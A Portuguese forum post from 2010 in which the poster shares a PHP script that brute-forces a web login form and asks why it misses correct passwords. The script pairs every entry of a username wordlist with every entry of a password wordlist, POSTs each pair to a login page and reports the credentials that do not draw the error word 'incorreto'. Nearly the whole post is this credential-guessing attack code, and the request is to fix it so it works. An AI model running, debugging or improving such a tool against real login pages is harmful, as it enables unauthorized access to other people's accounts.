$dic_usuario = "u.txt";
$dic_senha = "s.txt";
$url_http = "http://servidor/login.php";
$nome_campo_usuario = "LOGIN";
$nome_campo_senha = "PASSWD";
$palavra_erro_autenticacao = "incorreto";
$crackeado = FALSE;
$fhu = fopen ($dic_usuario, "r" );
$fhs = fopen ($dic_senha, "r" );
while ( $usuario = fgets ( $fhu, 1024 ) ) {
while ( $senha = fgets ( $fhs, 1024 ) ) {
$crack_form = curl_init();
curl_setopt ( $crack_form, CURLOPT_URL, $url_http );
curl_setopt ( $crack_form, CURLOPT_POST, TRUE );
curl_setopt ( $crack_form, CURLOPT_POSTFIELDS, $nome_campo_usuario."=".$usuario."&".$nome_campo_senha."=".$senha);
curl_setopt ( $crack_form, CURLOPT_RETURNTRANSFER, TRUE );
$conteudo_pagina = curl_exec ( $crack_form );
$resultado = eregi ( $palavra_erro_autenticacao, $conteudo_pagina );
if ( $resultado == 0 ) {
echo "<br><center>usuario: <b>$usuario</b> e a senha: <b>$senha</b </center>";
$crackeado = TRUE;
break;
}
}
rewind( $fhs );
}
if($crackeado == FALSE)
{
echo "<center>Nao foi possivel encontrar a combinhacao usuario / senha.</center>";
}
curl_close($crack_form);
fclose ( $fhu );
fclose ( $fhs );
quando eu carrego a senha certa misturada entre o inicio e o fim do arquivo p.txt,
ele não para na senha certa, e então passa batido
só me volta a senha quando está na última linha do arquivo, porque motivo não está parando no if do resultado
já que tem um break; ali ?
Edição feita por: Xapolino, 08/11/2010, 09:05.











